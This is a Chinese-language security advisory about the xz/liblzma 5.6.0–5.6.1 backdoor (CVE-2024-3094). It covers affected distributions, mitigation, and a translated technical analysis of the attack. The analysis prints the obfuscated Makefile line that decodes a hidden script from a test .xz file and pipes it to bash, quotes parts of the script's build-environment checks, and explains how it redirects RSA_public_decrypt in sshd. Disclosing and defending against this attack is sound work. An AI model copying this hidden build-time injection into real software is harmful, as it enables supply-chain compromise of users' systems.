紧急提醒 | 默认安装于每个Linux发行版中的Xz/liblzma被植入后门程序
2024-3-30 10:27:32 Author: mp.weixin.qq.com(查看原文) 阅读量:13 收藏

描述

Xz/liblzma是什么?(XZ Utils)

xz是一种通用的数据压缩格式,几乎存在于每个Linux发行版中,无论是社区项目还是商业产品发行版。本质上,它有助于将大型文件格式压缩(然后解压缩)成较小、更易于管理的尺寸,以便通过文件传输共享。

从5.6.0版本开始,在xz的上游tarball包中发现了恶意代码。通过一系列复杂的混淆手段,liblzma的构建过程从伪装成测试文件的源代码中提取出预构建的目标文件,然后用它来修改liblzma代码中的特定函数。这导致生成了一个被修改过的liblzma库,任何链接此库的软件都可能使用它,从而拦截并修改与此库的数据交互。

xz 5.6.0和5.6.1版本库中存在的恶意注入只包含在tarball下载包中。Git发行版中缺少触发恶意代码构建的M4宏。注入期间构建时使用的第二阶段工件存在于Git存储库中,以防存在恶意的M4宏。如果不合并到构建中,第二阶段文件是无害的。在发现者的演示中,发现它干扰了OpenSSH守护进程。虽然OpenSSH没有直接链接到liblzma库,但它以一种使其暴露于恶意软件的方式与systemd通信,因为systemd链接到了liblzma。

恶意构建会通过systemd干扰sshd的认证。SSH是一种常用的协议,用于远程连接系统,而sshd是允许访问的服务。在适当的情况下,这种干扰有可能使恶意行为体破坏sshd认证,并远程未经授权访问整个系统。

这个后门是如何被发现的?

3月29日,微软PostgreSQL开发人员Andres Freund在调查SSH性能问题时,在开源安全邮件列表中发帖称,他在XZ软件包中发现了一个涉及混淆恶意代码的供应链攻击。据Freund和RedHat称,Git版的XZ中没有恶意代码,只有完整下载包中存在。

哪些版本的库受到影响?

根据Freund的说法,XZ Utils 5.6.0和5.6.1版本受到影响。 

这个后门代码是否被利用过?

截至3月29日,尚未观察到利用此后门代码的情况。由于情况仍在发展,我们预计未来几天和几周内会有更多信息曝光。一旦有相关信息,我们会更新此FAQ部分。

这个问题有CVE编号吗?

是的,Red Hat为此问题分配了CVE-2024-3094,并给出了10.0的CVSSv3评分。

这个后门是如何插入代码的?  

截至本博客发布时,尚不清楚这个后门代码是如何被放入受影响的XZ utils构建中的。根据Freund的说法,做出代码提交的人可能直接参与了XZ项目,或者他们的系统或开发者账号被入侵了。

是否有补丁或缓解措施?

建议XZ Utils的开发人员和用户降级到已知不受影响的XZ Utils版本,例如5.4.6 Stable。但除了降级之外,还强烈建议开发者和用户进行事件响应,以确定他们是否受到此后门的影响,并与网络安全和基础设施安全局(CISA)等机构分享"阳性发现"。可以通过运行'xz -V'或'xz –version'命令来检查安装的版本。

哪些Linux发行版受到影响?

截至3月30日本文发布时,已知以下发行版受到影响:

发行版 公告 备注

Fedora Rawhide https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users Fedora Rawhide是Fedora Linux的开发版本

Fedora 41 https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

Debian testing、unstable和 experimental版 5.5.1alpha-0.1到5.6.1-1 https://lists.debian.org/debian-security-announce/2024/msg00057.html 

Ubuntu 24.04 LTS

2024年3月28日,Ubuntu注意到一个上游的漏洞影响了xz-utils源代码包。受影响的库已经从我们的Ubuntu 24.04 LTS预发布构建中移除。我们将继续进行进一步调查。感谢社区成员在我们理解这个问题方面的合作。

https://discourse.ubuntu.com/t/xz-liblzma-security-update/43714

以下Linux发行版已确认不受影响:

发行版 公告 备注

Fedora Linux 40 https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users RedHat建议用户降级到5.4版XZ作为预防措施

红帽企业版Linux(RHEL)  https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users 所有RHEL版本均不受影响

Debian https://lists.debian.org/debian-security-announce/2024/msg00057.html 所有Debian稳定版均未知受影响

xz软件包中发现后门的详细分析报告

xz上游tarball包和Git仓库代码被植入后门。这个后门影响了xz 5.6.0和5.6.1版本。

==被污染的发布tarball包==

后门的一部分仅存在于发布的tarball包中。比如这行代码被植入 m4/build-to-host.m4 文件:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63  

但该行在xz的Git仓库源码中并不存在。这行代码会在configure结束时执行一段经过混淆的脚本,该脚本隐藏在仓库中一些"测试"用的.xz文件里。

如果满足某些条件,该脚本会修改 $builddir/src/liblzma/Makefile ,插入一些sed命令,最终执行效果如下:

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

去掉混淆后可以看到它会执行一个bash脚本(见附件injected.txt)。

==被污染的代码仓库==  

后门的主要文件以混淆形式存在于: 

tests/files/bad-3-corrupt_lzma2.xz

tests/files/good-large_compressed.lzma 

但在5.6.0版本这两个文件甚至都没有用于任何"测试"。

代码提交者要么直接参与其中,要么他们的系统受到了严重入侵。后一种看起来可能性较小,因为他们在各种邮件列表讨论了之后的一些"修复"。

==受影响的系统==

附件中的去混淆脚本在configure之后首先被调用,它会决定是否修改构建过程植入后门代码。

它只针对x86-64 Linux系统:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

要求用gcc和gnu linker构建:

if test "x$GCC" != 'xyes' > /dev/null 2>&1;then 

exit 0

fi

if test "x$CC" != 'xgcc' > /dev/null 2>&1;then

exit 0  

fi

LDv=$LD" -v"

if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then

exit 0

并且是作为debian或RPM包构建的一部分:  

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

考虑到注入代码的工作方式,后门可能只能在基于glibc的系统上使用。

幸运的是,xz 5.6.0和5.6.1尚未被Linux发行版广泛集成,即便集成也大多是预发布版本。

==在openssh服务器上观察到的影响==

安装了被污染的liblzma后,通过ssh登录会变得非常慢。

openssh并没有直接使用liblzma。但debian等发行版给openssh打了支持systemd通知的补丁,而libsystemd依赖lzma。  

最初在systemd之外启动sshd并未表现出速度减慢,尽管后门代码被短暂调用。这可能是为了让分析更加困难而采取的对策。

后门代码执行需要满足:

a) 未设置TERM环境变量 

b) argv[0]需要是/usr/sbin/sshd

c) 未设置LD_DEBUG,LD_PROFILE

d) 需要设置LANG

e) 某些调试环境如rr会被检测到。有时gdb也会被发现,但并非总是如此

==分析注入的代码==

我对注入代码的详细分析见原文,这里简单总结:

后门最初通过替换crc32_resolve(),crc64_resolve()的ifunc解析器来拦截执行,转而调用注入的_get_cpuid()函数。 

在第二次调用crc64_resolve()时,后门代码会找到动态链接器信息、程序参数和环境变量,然后执行各种环境检查。

如果决定继续,代码会解析内存中的符号表。这是导致我注意到问题的非常慢的步骤。

值得注意的是,liblzma的符号在其他大多数库之前就被解析了,包括主sshd二进制文件中的符号。这很重要,因为一旦符号被解析,GOT就会被重新映射为只读。  

为了能够解析尚未加载的库中的符号,后门在动态链接器中安装了一个审计钩子,可以用gdb观察:

watch _rtld_global_ro._dl_naudit

当解析到"[email protected]"符号时,后门会将[email protected]的值更改为指向自己的代码。然后它又卸载了审计钩子。

此时之所以可以更改got.plt内容,是因为它还没有(也不能)被重新映射为只读。

==对sshd的影响==

前一节解释了[email protected]被重定向指向后门代码。在我分析的跟踪中,确实显示在pubkey登录期间调用了后门代码。

后门随后回调libcrypto,大概是执行正常的身份验证。

我尚未详细分析后门代码检查什么来允许未授权访问。但由于这是在身份验证之前运行的,似乎可能允许某种形式的访问或远程代码执行。

建议尽快升级任何可能存在漏洞的系统。

==漏洞报告==

鉴于上游可能直接参与其中,我没有上报上游bug。最初我以为这是debian特有的问题,向[email protected]发送了初步报告。随后我向distros@进行了报告,CISA也被某发行版通知了。

Red Hat为此问题分配了CVE-2024-3094编号。  

==检测系统是否存在漏洞==

Vegard Nossum编写了一个脚本来检测系统上的ssh二进制文件是否可能存在漏洞,见附件。

参考资料:

https://www.openwall.com/lists/oss-security/2024/03/29/4

https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users

https://access.redhat.com/security/cve/CVE-2024-3094


文章来源: https://mp.weixin.qq.com/s?__biz=MzU0MzgyMzM2Nw==&mid=2247485499&idx=1&sn=39c6a0ce96a53a4f3f3ba6d4da239417&chksm=fb04cb53cc734245239ec5fddc4d989b4be715951ae259a6337fd94a51021ebb45550a6131d9&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh